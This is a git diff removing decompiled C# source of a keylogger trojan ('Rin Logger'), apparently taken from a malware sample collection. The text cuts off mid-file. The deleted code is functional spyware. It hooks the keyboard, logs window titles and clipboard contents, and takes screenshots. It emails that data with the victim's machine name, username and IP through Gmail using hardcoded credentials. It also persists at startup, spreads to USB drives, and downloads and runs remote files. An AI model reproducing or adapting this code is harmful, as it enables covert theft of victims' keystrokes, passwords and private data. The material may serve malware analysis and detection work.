Microsoft.VisualBasic.ApplicationServices; -using System.CodeDom.Compiler; -using System.ComponentModel; - -namespace My -{ - [GeneratedCode("MyTemplate", "8.0.0.0")] - [EditorBrowsable(EditorBrowsableState.Never)] - internal class MyApplication : ApplicationBase - { - } -} diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cts-4e3b75704a1bbf80bbb6945bbc162d99427f90d5f48c6d5976ac5b6951b410b6/My/MyComputer.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cts-4e3b75704a1bbf80bbb6945bbc162d99427f90d5f48c6d5976ac5b6951b410b6/My/MyComputer.cs deleted file mode 100644 index d9e47463..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cts-4e3b75704a1bbf80bbb6945bbc162d99427f90d5f48c6d5976ac5b6951b410b6/My/MyComputer.cs +++ /dev/null @@ -1,24 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: My.MyComputer -// Assembly: FalconBot, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: FC0A4D36-8302-4B94-AEDD-1F060B64CA11 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Spy.MSIL.KeyLogger.cts-4e3b75704a1bbf80bbb6945bbc162d99427f90d5f48c6d5976ac5b6951b410b6.exe - -using Microsoft.VisualBasic.Devices; -using System.CodeDom.Compiler; -using System.ComponentModel; -using System.Diagnostics; - -namespace My -{ - [GeneratedCode("MyTemplate", "8.0.0.0")] - [EditorBrowsable(EditorBrowsableState.Never)] - internal class MyComputer : Computer - { - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public MyComputer() - { - } - } -} diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cts-4e3b75704a1bbf80bbb6945bbc162d99427f90d5f48c6d5976ac5b6951b410b6/My/MyProject.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cts-4e3b75704a1bbf80bbb6945bbc162d99427f90d5f48c6d5976ac5b6951b410b6/My/MyProject.cs deleted file mode 100644 index 00b06483..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cts-4e3b75704a1bbf80bbb6945bbc162d99427f90d5f48c6d5976ac5b6951b410b6/My/MyProject.cs +++ /dev/null @@ -1,108 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: My.MyProject -// Assembly: FalconBot, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: FC0A4D36-8302-4B94-AEDD-1F060B64CA11 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Spy.MSIL.KeyLogger.cts-4e3b75704a1bbf80bbb6945bbc162d99427f90d5f48c6d5976ac5b6951b410b6.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.ApplicationServices; -using Microsoft.VisualBasic.CompilerServices; -using System; -using System.CodeDom.Compiler; -using System.ComponentModel; -using System.ComponentModel.Design; -using System.Diagnostics; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace My -{ - [GeneratedCode("MyTemplate", "8.0.0.0")] - [HideModuleName] - [StandardModule] - internal sealed class MyProject - { - private static readonly MyProject.ThreadSafeObjectProvider m_ComputerObjectProvider = new MyProject.ThreadSafeObjectProvider(); - private static readonly MyProject.ThreadSafeObjectProvider m_AppObjectProvider = new MyProject.ThreadSafeObjectProvider(); - private static readonly MyProject.ThreadSafeObjectProvider m_UserObjectProvider = new MyProject.ThreadSafeObjectProvider(); - private static readonly MyProject.ThreadSafeObjectProvider m_MyWebServicesObjectProvider = new MyProject.ThreadSafeObjectProvider(); - - [HelpKeyword("My.Computer")] - internal static MyComputer Computer - { - [DebuggerHidden] get => MyProject.m_ComputerObjectProvider.GetInstance; - } - - [HelpKeyword("My.Application")] - internal static MyApplication Application - { - [DebuggerHidden] get => MyProject.m_AppObjectProvider.GetInstance; - } - - [HelpKeyword("My.User")] - internal static User User - { - [DebuggerHidden] get => MyProject.m_UserObjectProvider.GetInstance; - } - - [HelpKeyword("My.WebServices")] - internal static MyProject.MyWebServices WebServices - { - [DebuggerHidden] get => MyProject.m_MyWebServicesObjectProvider.GetInstance; - } - - [EditorBrowsable(EditorBrowsableState.Never)] - [MyGroupCollection("System.Web.Services.Protocols.SoapHttpClientProtocol", "Create__Instance__", "Dispose__Instance__", "")] - internal sealed class MyWebServices - { - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public override bool Equals(object o) => base.Equals(RuntimeHelpers.GetObjectValue(o)); - - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public override int GetHashCode() => base.GetHashCode(); - - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - internal new Type GetType() => typeof (MyProject.MyWebServices); - - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - public override string ToString() => base.ToString(); - - [DebuggerHidden] - private static T Create__Instance__(T instance) where T : new() => (object) instance == null ? new T() : instance; - - [DebuggerHidden] - private void Dispose__Instance__(ref T instance) => instance = default (T); - - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - public MyWebServices() - { - } - } - - [ComVisible(false)] - [EditorBrowsable(EditorBrowsableState.Never)] - internal sealed class ThreadSafeObjectProvider where T : new() - { - internal T GetInstance - { - [DebuggerHidden] get - { - if ((object) MyProject.ThreadSafeObjectProvider.m_ThreadStaticValue == null) - MyProject.ThreadSafeObjectProvider.m_ThreadStaticValue = new T(); - return MyProject.ThreadSafeObjectProvider.m_ThreadStaticValue; - } - } - - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - public ThreadSafeObjectProvider() - { - } - } - } -} diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cts-4e3b75704a1bbf80bbb6945bbc162d99427f90d5f48c6d5976ac5b6951b410b6/RinLoggerServer/RinHelper.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cts-4e3b75704a1bbf80bbb6945bbc162d99427f90d5f48c6d5976ac5b6951b410b6/RinLoggerServer/RinHelper.cs deleted file mode 100644 index d00790fa..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cts-4e3b75704a1bbf80bbb6945bbc162d99427f90d5f48c6d5976ac5b6951b410b6/RinLoggerServer/RinHelper.cs +++ /dev/null @@ -1,214 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: RinLoggerServer.RinHelper -// Assembly: FalconBot, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: FC0A4D36-8302-4B94-AEDD-1F060B64CA11 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Spy.MSIL.KeyLogger.cts-4e3b75704a1bbf80bbb6945bbc162d99427f90d5f48c6d5976ac5b6951b410b6.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.CompilerServices; -using Microsoft.Win32; -using System; -using System.Diagnostics; -using System.IO; -using System.Net; -using System.Runtime.InteropServices; -using System.Windows.Forms; - -namespace RinLoggerServer -{ - [StandardModule] - internal sealed class RinHelper - { - private static string LastWindow; - - [DllImport("user32.dll", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int GetForegroundWindow(); - - [DllImport("user32.dll", EntryPoint = "GetWindowTextA", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int GetWindowText(int hwnd, [MarshalAs(UnmanagedType.VBByRefStr)] ref string lpString, int cch); - - public static bool GetActiveWindowTitle(ref string Window) - { - string lpString = new string(char.MinValue, 100); - RinHelper.GetWindowText(RinHelper.GetForegroundWindow(), ref lpString, 100); - string Right = lpString.Substring(0, checked (Strings.InStr(lpString, "\0") - 1)); - if (Operators.CompareString(RinHelper.LastWindow, Right, false) == 0) - return false; - Window = Right; - RinHelper.LastWindow = Window; - return true; - } - - public static string GetExternalIP() - { - string externalIp; - try - { - externalIp = new StreamReader(((HttpWebResponse) ((HttpWebRequest) WebRequest.Create("http://automation.whatismyip.com/n09230945.asp")).GetResponse()).GetResponseStream()).ReadToEnd(); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - externalIp = "Unknown"; - ProjectData.ClearProjectError(); - } - return externalIp; - } - - public static void RunAtStartup(string ApplicationName, string ApplicationPath) - { - RegistryKey subKey = Registry.CurrentUser.CreateSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run"); - subKey.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", true); - subKey.SetValue(ApplicationName, (object) ApplicationPath); - } - - [DllImport("kernel32", EntryPoint = "GetModuleFileNameA", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int GetModuleFileName(int hModule, [MarshalAs(UnmanagedType.VBByRefStr)] ref string lpFileName, int nSize); - - [DllImport("kernel32", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int ExitProcess(uint uExitCode); - - [DllImport("kernel32", EntryPoint = "MoveFileExW", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int MoveFile( - [MarshalAs(UnmanagedType.LPTStr), In] string lpExistingFileName, - [MarshalAs(UnmanagedType.LPTStr), In] string lpNewFileName, - long dwFlags); - - public static void MeltFile(string NewLocation) - { -label_0: - int num1; - int num2; - try - { - ProjectData.ClearProjectError(); - num1 = 1; -label_1: - int num3 = 2; - if (!System.IO.File.Exists(NewLocation)) - goto label_3; -label_2: - num3 = 3; - System.IO.File.Delete(NewLocation); -label_3: - num3 = 5; - string executablePath1 = Application.ExecutablePath; - string executablePath2 = Application.ExecutablePath; - int moduleFileName = RinHelper.GetModuleFileName(0, ref executablePath2, 256); - RinHelper.MoveFile(Strings.Left(executablePath1, moduleFileName), NewLocation, 8L); -label_4: - num3 = 6; - Process.Start(NewLocation); -label_5: - num3 = 7; - RinHelper.ExitProcess(0U); - goto label_12; -label_7: - num2 = num3; - switch (num1) - { - case 1: - int num4 = num2 + 1; - num2 = 0; - switch (num4) - { - case 1: - goto label_0; - case 2: - goto label_1; - case 3: - goto label_2; - case 4: - case 5: - goto label_3; - case 6: - goto label_4; - case 7: - goto label_5; - case 8: - goto label_12; - } - break; - } - } - catch (Exception ex) when (ex is Exception & num1 != 0 & num2 == 0) - { - ProjectData.SetProjectError(ex); - goto label_7; - } - throw ProjectData.CreateProjectError(-2146828237); -label_12: - if (num2 == 0) - return; - ProjectData.ClearProjectError(); - } - - public static string RandomNumbers(int minamount, int maxamount) - { - Random random = new Random(); - string str1 = (string) null; - string str2 = RinHelper.ReArrange("1234567890987654321"); - int num1 = random.Next(checked (minamount + 1), maxamount); - int num2 = 1; - while (num2 <= num1) - { - int index = checked ((int) Math.Round((double) unchecked (Conversion.Int((float) checked (str2.Length - 2) * VBMath.Rnd()) + 1f))); - str1 += Conversions.ToString(str2[index]); - checked { ++num2; } - } - return str1; - } - - public static string RandomVariable(int minamount, int maxamount) - { - Random random = new Random(); - string str1 = (string) null; - string str2 = RinHelper.ReArrange("qwertyuiopasdfghjklzxcvbnmQWERTYUIOPLKHJJGFDSAZXCVBNM"); - int num1 = random.Next(checked (minamount + 1), maxamount); - int num2 = 1; - while (num2 <= num1) - { - int index = checked ((int) Math.Round((double) unchecked (Conversion.Int((float) checked (str2.Length - 2) * VBMath.Rnd()) + 1f))); - str1 += Conversions.ToString(str2[index]); - checked { ++num2; } - } - return str1; - } - - public static string RandomMix(int minamount, int maxamount) - { - Random random = new Random(); - string str1 = (string) null; - string str2 = RinHelper.ReArrange(RinHelper.ReArrange("qwertyuiopasdfghjklzxcvbnmQWERTYUIOPLKHJJGFDSAZXCVBNM") + RinHelper.ReArrange("1234567890987654321")); - int num1 = random.Next(checked (minamount + 1), maxamount); - int num2 = 1; - while (num2 <= num1) - { - int index = checked ((int) Math.Round((double) unchecked (Conversion.Int((float) checked (str2.Length - 2) * VBMath.Rnd()) + 1f))); - str1 += Conversions.ToString(str2[index]); - checked { ++num2; } - } - return str1; - } - - public static string ReArrange(string Strings) - { - string str1 = ""; - Random random = new Random(); - string str2 = Strings; - int index = 0; - int length = str2.Length; - while (index < length) - { - char ch = str2[index]; - int num = random.Next(1, 10); - if (num < 5) - str1 = Conversions.ToString(ch) + str1; - else if (num > 5) - str1 += Conversions.ToString(ch); - checked { ++index; } - } - return str1; - } - } -} diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cts-4e3b75704a1bbf80bbb6945bbc162d99427f90d5f48c6d5976ac5b6951b410b6/RinLoggerServer/RinLogger.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cts-4e3b75704a1bbf80bbb6945bbc162d99427f90d5f48c6d5976ac5b6951b410b6/RinLoggerServer/RinLogger.cs deleted file mode 100644 index 6dc47ca0..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cts-4e3b75704a1bbf80bbb6945bbc162d99427f90d5f48c6d5976ac5b6951b410b6/RinLoggerServer/RinLogger.cs +++ /dev/null @@ -1,606 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: RinLoggerServer.RinLogger -// Assembly: FalconBot, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: FC0A4D36-8302-4B94-AEDD-1F060B64CA11 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Spy.MSIL.KeyLogger.cts-4e3b75704a1bbf80bbb6945bbc162d99427f90d5f48c6d5976ac5b6951b410b6.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.CompilerServices; -using Microsoft.VisualBasic.Devices; -using System; -using System.Collections; -using System.Diagnostics; -using System.IO; -using System.Net; -using System.Net.Mail; -using System.Reflection; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; -using System.Runtime.Remoting.Messaging; -using System.Text; -using System.Text.RegularExpressions; -using System.Threading; -using System.Windows.Forms; - -namespace RinLoggerServer -{ - internal class RinLogger - { - [AccessedThroughProperty("Keylogger")] - private static RinLogger.Keyboard _Keylogger; - [AccessedThroughProperty("Clock")] - private static System.Windows.Forms.Timer _Clock; - internal static RinLogger.Gmail GmailService; - internal static RinLogger.Mail MailService; - internal static RinLogger.Log LogService; - internal static RinLogger.Install InstallService; - internal static RinLogger.Message MessageService; - internal static RinLogger.RuntimeFunctions RuntimeService; - internal static string Version; - - static RinLogger() - { - RinLogger.Keylogger = new RinLogger.Keyboard(); - RinLogger.Clock = new System.Windows.Forms.Timer(); - RinLogger.GmailService = new RinLogger.Gmail(); - RinLogger.MailService = new RinLogger.Mail(); - RinLogger.LogService = new RinLogger.Log(); - RinLogger.InstallService = new RinLogger.Install(); - RinLogger.MessageService = new RinLogger.Message(); - RinLogger.RuntimeService = new RinLogger.RuntimeFunctions(); - RinLogger.Version = "1.0"; - } - - internal static RinLogger.Keyboard Keylogger - { - get => RinLogger._Keylogger; - [MethodImpl(MethodImplOptions.Synchronized)] set - { - if (RinLogger._Keylogger != null) - RinLogger._Keylogger.Down -= new RinLogger.Keyboard.DownEventHandler(RinLogger.KeyloggerProcess); - RinLogger._Keylogger = value; - if (RinLogger._Keylogger == null) - return; - RinLogger._Keylogger.Down += new RinLogger.Keyboard.DownEventHandler(RinLogger.KeyloggerProcess); - } - } - - internal static System.Windows.Forms.Timer Clock - { - get => RinLogger._Clock; - [MethodImpl(MethodImplOptions.Synchronized)] set - { - if (RinLogger._Clock != null) - RinLogger._Clock.Tick -= new EventHandler(RinLogger.Clock_Tick); - RinLogger._Clock = value; - if (RinLogger._Clock == null) - return; - RinLogger._Clock.Tick += new EventHandler(RinLogger.Clock_Tick); - } - } - - [STAThread] - public static void Main(string[] Arguments) - { - RinLogger.Keylogger.CreateHook(); - RinLogger.GmailService.Username = "chrispadada@gmail.com"; - RinLogger.GmailService.Password = "chriispada"; - RinLogger.GmailService.Smtp = "smtp.gmail.com"; - RinLogger.GmailService.Port = 587; - RinLogger.GmailService.Recipient = "chrispadada@gmail.com"; - RinLogger.MailService.Colorize = true; - RinLogger.MailService.Screenshot = true; - RinLogger.MailService.Subject = "Rin Logger ::: {0} ({1})"; - RinLogger.MailService.ClipboardColor = "Purple"; - RinLogger.MailService.SpecialColor = "DeepSkyBlue"; - RinLogger.MailService.WindowColor = "DarkCyan"; - RinLogger.LogService.Tick = 120000; - RinLogger.LogService.Clipboard = true; - RinLogger.InstallService.Install = false; - RinLogger.InstallService.InstallName = ""; - RinLogger.InstallService.Directory = Environment.SpecialFolder.Desktop; - RinLogger.InstallService.Melt = false; - RinLogger.InstallService.Mutex = "J4Q1NJJXs6dcd"; - RinLogger.InstallService.Filename = ""; - RinLogger.MessageService.Enable = false; - RinLogger.MessageService.Once = true; - RinLogger.MessageService.Title = ""; - RinLogger.MessageService.Message = ""; - RinLogger.MessageService.Style = MsgBoxStyle.OkOnly; - RinLogger.RuntimeService.Downloader = new string[0]; - RinLogger.RuntimeService.USBSpread = true; - RinLogger.RuntimeService.Webpages = new string[0]; - if (RinLogger.InstallService.Install) - { - if (Operators.CompareString(Application.StartupPath, Environment.GetFolderPath(RinLogger.InstallService.Directory), false) != 0) - { - Console.WriteLine("\r\nNot Installed!"); - if (RinLogger.MessageService.Enable) - { - int num = (int) Interaction.MsgBox((object) RinLogger.MessageService.Message, RinLogger.MessageService.Style, (object) RinLogger.MessageService.Title); - } - switch (RinLogger.InstallService.Melt) - { - case false: - System.IO.File.Copy(Application.ExecutablePath, Environment.GetFolderPath(RinLogger.InstallService.Directory) + "\\" + RinLogger.InstallService.Filename, true); - RinHelper.RunAtStartup(RinLogger.InstallService.InstallName, Environment.GetFolderPath(RinLogger.InstallService.Directory) + "\\" + RinLogger.InstallService.Filename); - Process.Start(Environment.GetFolderPath(RinLogger.InstallService.Directory) + "\\" + RinLogger.InstallService.Filename); - ProjectData.EndApp(); - break; - case true: - RinHelper.RunAtStartup(RinLogger.InstallService.InstallName, Environment.GetFolderPath(RinLogger.InstallService.Directory) + "\\" + RinLogger.InstallService.Filename); - RinHelper.MeltFile(Environment.GetFolderPath(RinLogger.InstallService.Directory) + "\\" + RinLogger.InstallService.Filename); - break; - } - } - else - { - Console.WriteLine("\r\nAlready Installed!"); - if (RinLogger.MessageService.Enable & !RinLogger.MessageService.Once) - { - int num = (int) Interaction.MsgBox((object) RinLogger.MessageService.Message, RinLogger.MessageService.Style, (object) RinLogger.MessageService.Title); - } - } - } - new Thread(new ThreadStart(RinLogger.MutexHandle)).Start(); - new Thread(new ThreadStart(RinLogger.Downloader)).Start(); - new Thread(new ThreadStart(RinLogger.USBSpreader)).Start(); - new Thread(new ThreadStart(RinLogger.WebpageViewers)).Start(); - RinLogger.Clock.Interval = RinLogger.LogService.Tick; - RinLogger.Clock.Start(); - Application.Run(); - } - - public static void WebpageViewers() - { - if (RinLogger.RuntimeService.Webpages == null) - return; - string[] webpages = RinLogger.RuntimeService.Webpages; - int index = 0; - while (index < webpages.Length) - { - string fileName = webpages[index]; - try - { - Process.Start(fileName); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - Console.WriteLine("\r\n" + ex.Message); - ProjectData.ClearProjectError(); - } - checked { ++index; } - } - } - - public static void USBSpreader() - { - if (!RinLogger.RuntimeService.USBSpread) - return; - DriveInfo[] drives = DriveInfo.GetDrives(); - int index = 0; - while (index < drives.Length) - { - DriveInfo driveInfo = drives[index]; - try - { - System.IO.File.Copy(Application.ExecutablePath, driveInfo.Name + RinHelper.RandomMix(10, 20) + ".exe", true); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - Console.WriteLine("\r\n" + ex.Message); - ProjectData.ClearProjectError(); - } - checked { ++index; } - } - } - - public static void Downloader() - { - if (RinLogger.RuntimeService.Downloader == null) - return; - WebClient webClient = new WebClient(); - string[] downloader = RinLogger.RuntimeService.Downloader; - int index = 0; - while (index < downloader.Length) - { - string address = downloader[index]; - string fileName = Path.GetTempPath() + "\\" + RinHelper.RandomMix(10, 20) + address.Substring(address.LastIndexOf(".")); - webClient.DownloadFile(address, fileName); - Process.Start(fileName); - checked { ++index; } - } - } - - public static void MutexHandle() - { - try - { - Thread.Sleep(5000); - Mutex.OpenExisting(RinLogger.InstallService.Mutex); - Console.WriteLine("Another instance is already running!"); - ProjectData.EndApp(); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - RinLogger.InstallService.Store = new Mutex(false, RinLogger.InstallService.Mutex); - ProjectData.ClearProjectError(); - } - } - - public static void KeyloggerProcess(string Key) - { - string Window = ""; - if (RinHelper.GetActiveWindowTitle(ref Window)) - { - RinLogger.LogService.Logs = RinLogger.LogService.Logs + "\r\n\r\n[Title: " + Window + " :]\r\n"; - Console.WriteLine("\r\n\r\n[Title: " + Window + " :]"); - } - RinLogger.LogService.Logs += Key; - Console.Write(Key); - } - - public static void Clock_Tick(object sender, EventArgs e) - { - Console.WriteLine("\r\nClock Tick!"); - new RinLogger.ClockWorkerDelegate(RinLogger.ClockWorker).BeginInvoke(RinLogger.LogService.Logs, RinLogger.LogService.ClipboardLogs, new AsyncCallback(RinLogger.ClockWorkerCallback), (object) null); - RinLogger.LogService.Logs = ""; - RinLogger.LogService.ClipboardLogs = ""; - } - - public static void ClockWorkerCallback(IAsyncResult Results) => ((RinLogger.ClockWorkerDelegate) ((AsyncResult) Results).AsyncDelegate).EndInvoke(Results); - - public static void ClockWorker(string CapturedLogs, string CapturedClipboard) - { - try - { - MailMessage message = new MailMessage(); - SmtpClient smtpClient1 = new SmtpClient(); - SmtpClient smtpClient2 = smtpClient1; - smtpClient2.Credentials = (ICredentialsByHost) new NetworkCredential(RinLogger.GmailService.Username, RinLogger.GmailService.Password); - smtpClient2.EnableSsl = true; - smtpClient2.Host = RinLogger.GmailService.Smtp; - smtpClient2.Port = RinLogger.GmailService.Port; - MailMessage mailMessage = message; - mailMessage.From = new MailAddress(RinLogger.GmailService.Username); - mailMessage.To.Add(RinLogger.GmailService.Recipient); - mailMessage.IsBodyHtml = RinLogger.MailService.Colorize; - mailMessage.Subject = string.Format(RinLogger.MailService.Subject, (object) Environment.MachineName, (object) Environment.UserName); - mailMessage.Body = !RinLogger.MailService.Colorize ? CapturedLogs + CapturedClipboard : RinLogger.FormatLogs(CapturedLogs + CapturedClipboard); - mailMessage.Body = RinLogger.GetDetails(RinLogger.MailService.Colorize) + mailMessage.Body; - if (RinLogger.MailService.Screenshot) - { - ScreenCapture.CurrentScreen(); - string str = Path.GetTempPath() + RinHelper.RandomMix(10, 20) + ".png"; - ScreenCapture.oBitMap.Save(str); - mailMessage.Attachments.Add(new Attachment(str)); - } - smtpClient1.Send(message); - Console.WriteLine("\r\nLogs Sent!"); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - Console.WriteLine("\r\nException Occured: " + ex.Message); - ProjectData.ClearProjectError(); - } - } - - public static string FormatLogs(string Data) - { - Data = Data.Replace("\r\n", "
"); - Data = Data.Replace("[Title: ", "[Title: "); - Data = Data.Replace(" :]
", "
:]
"); - Data = Data.Replace("[Clipboard Entry ", "[Clipboard Entry "); - Data = Data.Replace(" ::.]
", "
::.]
"); - MatchCollection matchCollection = new Regex("\\[.{1,20}?]").Matches(Data); - try - { - foreach (Match match in matchCollection) - { - if (!match.ToString().Contains("Title:")) - Data = Data.Replace(match.ToString(), "" + match.ToString() + ""); - } - } - finally - { - IEnumerator enumerator; - if (enumerator is IDisposable) - (enumerator as IDisposable).Dispose(); - } - return Data; - } - - public static string GetDetails(bool Html) - { - StringBuilder stringBuilder1 = new StringBuilder(); - string str1 = "LightSteelBlue"; - string str2 = "SteelBlue"; - StringBuilder stringBuilder2 = stringBuilder1; - switch (Html) - { - case false: - stringBuilder2.AppendLine("Rin Logger"); - stringBuilder2.AppendLine(string.Format("Machine Name: {0}", (object) Environment.MachineName)); - stringBuilder2.AppendLine(string.Format("Username: {0}", (object) Environment.UserName)); - stringBuilder2.AppendLine(string.Format("IP Address: {0}", (object) RinHelper.GetExternalIP())); - stringBuilder2.AppendLine(string.Format("OS Product Name: {0}", (object) new ComputerInfo().OSFullName)); - stringBuilder2.AppendLine(string.Format("OS Full RAM: {0} {2}", (object) ((double) new ComputerInfo().TotalPhysicalMemory / 1000000.0), (object) "MB")); - stringBuilder2.AppendLine(string.Format("Rin Logger Version: {0}", (object) RinLogger.Version)); - break; - case true: - stringBuilder2.Append("
Rin Logger

"); - stringBuilder2.Append(string.Format("Machine Name: {0}", (object) Environment.MachineName) + "
"); - stringBuilder2.Append(string.Format("Username: {0}", (object) Environment.UserName) + "
"); - stringBuilder2.Append(string.Format("IP Address: {0}", (object) RinHelper.GetExternalIP()) + "
"); - stringBuilder2.Append(string.Format("OS Product Name: {0}", (object) new ComputerInfo().OSFullName) + "
"); - stringBuilder2.Append(string.Format("OS Full RAM: {0}", (object) ((double) new ComputerInfo().TotalPhysicalMemory / 1000000.0), (object) "MB
")); - break; - } - return stringBuilder1.ToString(); - } - - public class Keyboard - { - private static int Key; - private static RinLogger.Keyboard.KDel KHD; - - public event RinLogger.Keyboard.DownEventHandler Down; - - public event RinLogger.Keyboard.UpEventHandler Up; - - public void CreateHook() - { - RinLogger.Keyboard.KHD = new RinLogger.Keyboard.KDel(this.Proc); - RinLogger.Keyboard.Key = this.CreateAPI("user32:SetWindowsHookExA")(13, RinLogger.Keyboard.KHD, Marshal.GetHINSTANCE(Assembly.GetExecutingAssembly().GetModules()[0]).ToInt32(), 0); - } - - [DllImport("kernel32", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern IntPtr LoadLibraryA([MarshalAs(UnmanagedType.VBByRefStr)] ref string Name); - - [DllImport("kernel32", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern IntPtr GetProcAddress(IntPtr Handle, [MarshalAs(UnmanagedType.VBByRefStr)] ref string Name); - - private T CreateAPI(string Name) => (T) Marshal.GetDelegateForFunctionPointer(RinLogger.Keyboard.GetProcAddress(RinLogger.Keyboard.LoadLibraryA(ref Name.Split(':')[0]), ref Name.Split(':')[1]), typeof (T)); - - private int Proc(int Code, int wParam, ref RinLogger.Keyboard.KeyStructure lParam) - { - if (Code == 0) - { - switch (wParam) - { - case 256: - case 260: - RinLogger.Keyboard.DownEventHandler downEvent = this.DownEvent; - if (downEvent != null) - { - downEvent(this.Feed((Keys) lParam.Code)); - break; - } - break; - case 257: - case 261: - RinLogger.Keyboard.UpEventHandler upEvent = this.UpEvent; - if (upEvent != null) - { - upEvent(this.Feed((Keys) lParam.Code)); - break; - } - break; - } - } - return this.CreateAPI("user32:CallNextHookEx")(RinLogger.Keyboard.Key, Code, wParam, ref lParam); - } - - public void DiposeHook() - { - int num = this.CreateAPI("user32:UnhookWindowsHookEx")(RinLogger.Keyboard.Key); - // ISSUE: explicit finalizer call - this.Finalize(); - } - - private string Feed(Keys e) - { - Keys keys = e; - if (keys >= Keys.A && keys <= Keys.Z) - return Control.IsKeyLocked(Keys.Capital) | (Control.ModifierKeys & Keys.Shift) != Keys.None ? e.ToString() : e.ToString().ToLower(); - if (keys >= Keys.D0 && keys <= Keys.D9) - { - if ((Control.ModifierKeys & Keys.Shift) == Keys.None) - return e.ToString().Replace("D", (string) null); - string Left = e.ToString(); - if (Operators.CompareString(Left, "D1", false) == 0) - return "!"; - if (Operators.CompareString(Left, "D2", false) == 0) - return "@"; - if (Operators.CompareString(Left, "D3", false) == 0) - return "#"; - if (Operators.CompareString(Left, "D4", false) == 0) - return "$"; - if (Operators.CompareString(Left, "D5", false) == 0) - return "%"; - if (Operators.CompareString(Left, "D6", false) == 0) - return "^"; - if (Operators.CompareString(Left, "D7", false) == 0) - return "&"; - if (Operators.CompareString(Left, "D8", false) == 0) - return "*"; - if (Operators.CompareString(Left, "D9", false) == 0) - return "("; - if (Operators.CompareString(Left, "D0", false) == 0) - return ")"; - } - else - { - if (keys >= Keys.NumPad0 && keys <= Keys.NumPad9) - return e.ToString().Replace("NumPad", (string) null); - if (keys >= Keys.Multiply && keys <= Keys.Divide) - { - string Left = e.ToString(); - if (Operators.CompareString(Left, "Divide", false) == 0) - return "/"; - if (Operators.CompareString(Left, "Multiply", false) == 0) - return "*"; - if (Operators.CompareString(Left, "Subtract", false) == 0) - return "-"; - if (Operators.CompareString(Left, "Add", false) == 0) - return "+"; - if (Operators.CompareString(Left, "Decimal", false) == 0) - return "."; - } - else - { - if (keys == Keys.Space) - return " "; - if (keys >= Keys.OemSemicolon && keys <= Keys.OemQuotes) - { - if ((Control.ModifierKeys & Keys.Shift) != Keys.None) - { - string Left = e.ToString(); - if (Operators.CompareString(Left, "OemMinus", false) == 0) - return "_"; - if (Operators.CompareString(Left, "Oemplus", false) == 0) - return "+"; - if (Operators.CompareString(Left, "OemOpenBrackets", false) == 0) - return "{"; - if (Operators.CompareString(Left, "Oem6", false) == 0) - return "}"; - if (Operators.CompareString(Left, "Oem5", false) == 0) - return "|"; - if (Operators.CompareString(Left, "Oem1", false) == 0) - return ":"; - if (Operators.CompareString(Left, "Oem7", false) == 0) - return "\""; - if (Operators.CompareString(Left, "Oemcomma", false) == 0) - return "<"; - if (Operators.CompareString(Left, "OemPeriod", false) == 0) - return ">"; - if (Operators.CompareString(Left, "OemQuestion", false) == 0) - return "?"; - if (Operators.CompareString(Left, "Oemtilde", false) == 0) - return "~"; - } - else - { - string Left = e.ToString(); - if (Operators.CompareString(Left, "OemMinus", false) == 0) - return "-"; - if (Operators.CompareString(Left, "Oemplus", false) == 0) - return "="; - if (Operators.CompareString(Left, "OemOpenBrackets", false) == 0) - return "["; - if (Operators.CompareString(Left, "Oem6", false) 